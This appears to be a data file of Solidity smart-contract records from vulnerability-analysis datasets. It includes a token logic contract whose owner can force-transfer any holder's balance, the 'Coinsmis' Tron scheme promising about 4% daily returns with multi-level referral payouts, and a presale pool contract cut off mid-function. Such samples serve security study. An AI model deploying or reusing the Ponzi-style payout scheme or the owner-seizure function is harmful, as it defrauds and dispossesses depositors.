function receiveBonus() onlyActive external {
require(bonusMode == true && CaDataContract.bonusReceived(tx.origin) == false);
CaDataContract.setBonusReceived(tx.origin,true);
uint id = CaCoreContract.createRandomAtom();
NewBonusAtom(tx.origin,id);
}
}
| 215,599 | 11,718 |
1ff8f49b4ffbb7522052f59500f18d73ca81967da954db1067392b6c558328dc
| 10,710 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x8934561259f1cb8b302aa7e1b05ed0d0676f54e3.sol
| 2,668 | 10,371 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "you are not the owner!");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "cannot transfer ownership to ZERO address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ITokenStore {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns(uint256);
function transfer(address src, address dest, uint256 amount) external;
function approve(address owner, address spender, uint256 amount) external;
function mint(address dest, uint256 amount) external;
function burn(address dest, uint256 amount) external;
}
interface ITokenLogic {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value, address owner) external returns (bool);
function transferFrom(address from, address to, uint256 value, address spender) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue, address owner) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue, address owner) external returns (bool);
}
contract TokenLogic is Ownable, ITokenLogic {
using SafeMath for uint256;
ITokenStore private _tokenStore;
address private _tokenFront;
constructor(ITokenStore tokenStore, address tokenFront) public {
_tokenStore = tokenStore;
_tokenFront = tokenFront;
_whiteList[msg.sender] = true;
}
// getters and setters for tokenStore and tokenFront
function tokenStore() public view returns (address) {
return _tokenStore;
}
function setTokenStore(ITokenStore newTokenStore) public onlyOwner {
_tokenStore = newTokenStore;
}
function tokenFront() public view returns (address) {
return _tokenFront;
}
function setTokenFront(address newTokenFront) public onlyOwner {
_tokenFront = newTokenFront;
}
modifier onlyFront() {
require(msg.sender == _tokenFront, "this method MUST be called by tokenFront");
_;
}
modifier onlyFrontOrOwner() {
require((msg.sender == _tokenFront) || isOwner(), "this method MUST be called by tokenFront or owner");
_;
}
mapping(address => bool) private _whiteList;
mapping(address => bool) private _quitLock;
mapping(bytes32 => bool) private _batchRecord;
uint256[] private _tradingOpenTime;
// transfer ownership and balance
function transferOwnership(address newOwner) public onlyOwner {
_whiteList[newOwner] = true;
_tokenStore.transfer(msg.sender, newOwner, _tokenStore.balanceOf(msg.sender));
_whiteList[msg.sender] = false;
super.transferOwnership(newOwner);
}
// whitelist
function inWhiteList(address account) public view returns (bool) {
return _whiteList[account];
}
function setWhiteList(address[] addressArr, bool[] statusArr) public onlyOwner {
require(addressArr.length == statusArr.length, "The length of address array is not equal to the length of status array!");
for(uint256 idx = 0; idx < addressArr.length; idx++) {
_whiteList[addressArr[idx]] = statusArr[idx];
}
}
// trading time
function inTradingTime() public view returns (bool) {
for(uint256 idx = 0; idx < _tradingOpenTime.length; idx = idx+2) {
if(now > _tradingOpenTime[idx] && now < _tradingOpenTime[idx+1]) {
return true;
}
}
return false;
}
function getTradingTime() public view returns (uint256[]) {
return _tradingOpenTime;
}
function setTradingTime(uint256[] timeArr) public onlyOwner {
require(timeArr.length.mod(2) == 0, "the length of time arr must be even number");
for(uint256 idx = 0; idx < timeArr.length; idx = idx+2) {
require(timeArr[idx] < timeArr[idx+1], "end time must be greater than start time");
}
_tradingOpenTime = timeArr;
}
// quit
function inQuitLock(address account) public view returns (bool) {
return _quitLock[account];
}
function setQuitLock(address account) public onlyOwner {
require(inWhiteList(account), "account is not in whiteList");
_quitLock[account] = true;
}
function removeQuitAccount(address account) public onlyOwner {
require(inQuitLock(account), "the account is not in quit lock status");
_tokenStore.transfer(account, msg.sender, _tokenStore.balanceOf(account));
_whiteList[account] = false;
_quitLock[account] = false;
}
// implement for ITokenLogic
function totalSupply() external view returns (uint256) {
return _tokenStore.totalSupply();
}
function balanceOf(address account) external view returns (uint256) {
return _tokenStore.balanceOf(account);
}
function allowance(address owner, address spender) external view returns (uint256) {
return _tokenStore.allowance(owner, spender);
}
function transfer(address from, address to, uint256 value) external onlyFront returns (bool) {
require(inWhiteList(from), "sender is not in whiteList");
require(inWhiteList(to), "receiver is not in whiteList");
if(!inQuitLock(from) && from != owner()) {
require(inTradingTime(), "now is not trading time");
}
_tokenStore.transfer(from, to, value);
return true;
}
function forceTransferBalance(address from, address to, uint256 value) external onlyOwner returns (bool) {
require(inWhiteList(to), "receiver is not in whiteList");
_tokenStore.transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value, address owner) external onlyFront returns (bool) {
_tokenStore.approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value, address spender) external onlyFront returns (bool) {
require(inWhiteList(from), "sender is not in whiteList");
require(inWhiteList(to), "receiver is not in whiteList");
if(!inQuitLock(from)) {
require(inTradingTime(), "now is not trading time");
}
uint256 newAllowance = _tokenStore.allowance(from, spender).sub(value);
_tokenStore.approve(from, spender, newAllowance);
_tokenStore.transfer(from, to, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue, address owner) external onlyFront returns (bool) {
uint256 newAllowance = _tokenStore.allowance(owner, spender).add(addedValue);
_tokenStore.approve(owner, spender, newAllowance);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue, address owner) external onlyFront returns (bool) {
uint256 newAllowance = _tokenStore.allowance(owner, spender).sub(subtractedValue);
_tokenStore.approve(owner, spender, newAllowance);
return true;
}
// batch transfer
function batchTransfer(bytes32 batch, address[] addressArr, uint256[] valueArr) public onlyOwner {
require(addressArr.length == valueArr.length, "The length of address array is not equal to the length of value array!");
require(_batchRecord[batch] == false, "This batch number has already been used!");
for(uint256 idx = 0; idx < addressArr.length; idx++) {
require(inWhiteList(addressArr[idx]), "receiver is not in whiteList");
_tokenStore.transfer(msg.sender, addressArr[idx], valueArr[idx]);
}
_batchRecord[batch] = true;
}
// replace account
function replaceAccount(address oldAccount, address newAccount) public onlyOwner {
require(inWhiteList(oldAccount), "old account is not in whiteList");
_whiteList[newAccount] = true;
_tokenStore.transfer(oldAccount, newAccount, _tokenStore.balanceOf(oldAccount));
_whiteList[oldAccount] = false;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| 197,641 | 11,719 |
43a36a2dd2c2743596060b64477e5eef9bb72dee8a7ea375505e21fc4ae3d460
| 18,802 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNvLHJdabvrnaEn7kyTidNHBm2a4MJcnaq_Coinsmis.sol
| 5,037 | 18,228 |
//SourceUnit: Coinsmis.sol
// https://coinsmis.site/
// The minimum deposit amount is 10 trx.
// There are no restrictions on the maximum investment amount.
// The main percentage of the profit of deposits is 3.9% - 4.2% per day.
// Referral Tier - 5% - 2% -0.5%
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 limit;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Coinsmis is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40; //per thousand
uint256 public constant OPERATION_RATE = 20;
uint256 public constant MARKETING_RATE = 20;
uint256 public constant REFERENCE_RATE = 80;
uint256 public constant REFERENCE_LEVEL1_RATE = 50;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 5;
uint256 public constant REFERENCE_SELF_RATE = 5;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 8888; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private operationAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
operationAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setOperationAccount(address _newOperationAccount) public onlyOwner {
require(_newOperationAccount != address(0));
operationAccount_ = _newOperationAccount;
}
function getOperationAccount() public view onlyOwner returns (address) {
return operationAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(39, 0, 10000000));
investmentPlans_.push(Objects.Plan(40, 0, 10000000000));
investmentPlans_.push(Objects.Plan(41, 0, 30000000000));
investmentPlans_.push(Objects.Plan(42, 0, 100000000000));
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
terms);
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
if (_amount >= investmentPlans_[3].limit) {
_planId = 3;
} else if (_amount >= investmentPlans_[2].limit) {
_planId = 2;
} else if (_amount >= investmentPlans_[1].limit) {
_planId = 1;
} else {
_planId = 0;
}
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
uint256 operationPercentage = (_amount.mul(OPERATION_RATE)).div(1000);
operationAccount_.transfer(operationPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
_refAmount = (_investment.mul(REFERENCE_SELF_RATE)).div(1000);
uid2Investor[_uid].availableReferrerEarnings = _refAmount.add(uid2Investor[_uid].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 306,334 | 11,720 |
6138442e6c4244d3216ad48e77ed5156126257a2fee63ac3703f7a2acf3634c1
| 10,612 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x45aaf948ca47329f0059facb78806f1c63a3d197.sol
| 3,016 | 10,072 |
// Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Moongang {
using SafeMath for uint256;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 1%
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 100; //1% fee
//SafeMath.div(20, 3) = 6
uint256 constant FEE_DEV = 6; //15% on the 1% fee
uint256 constant FEE_AUDIT = 12; //7.5% on the 1% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
//Variables subject to changes
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool public bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
bool public owner_supplied_eth;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
//Avoids burning the funds
require(!bought_tokens && sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount);
balances_bonus[_to_refund] = balances[_to_refund];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
_to_refund.transfer(amount);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
//we substract by contract_eth_value*_reduction basically
contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100));
contract_eth_value_bonus = contract_eth_value;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount);
balances_bonus[msg.sender] = balances[msg.sender];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
msg.sender.transfer(amount);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
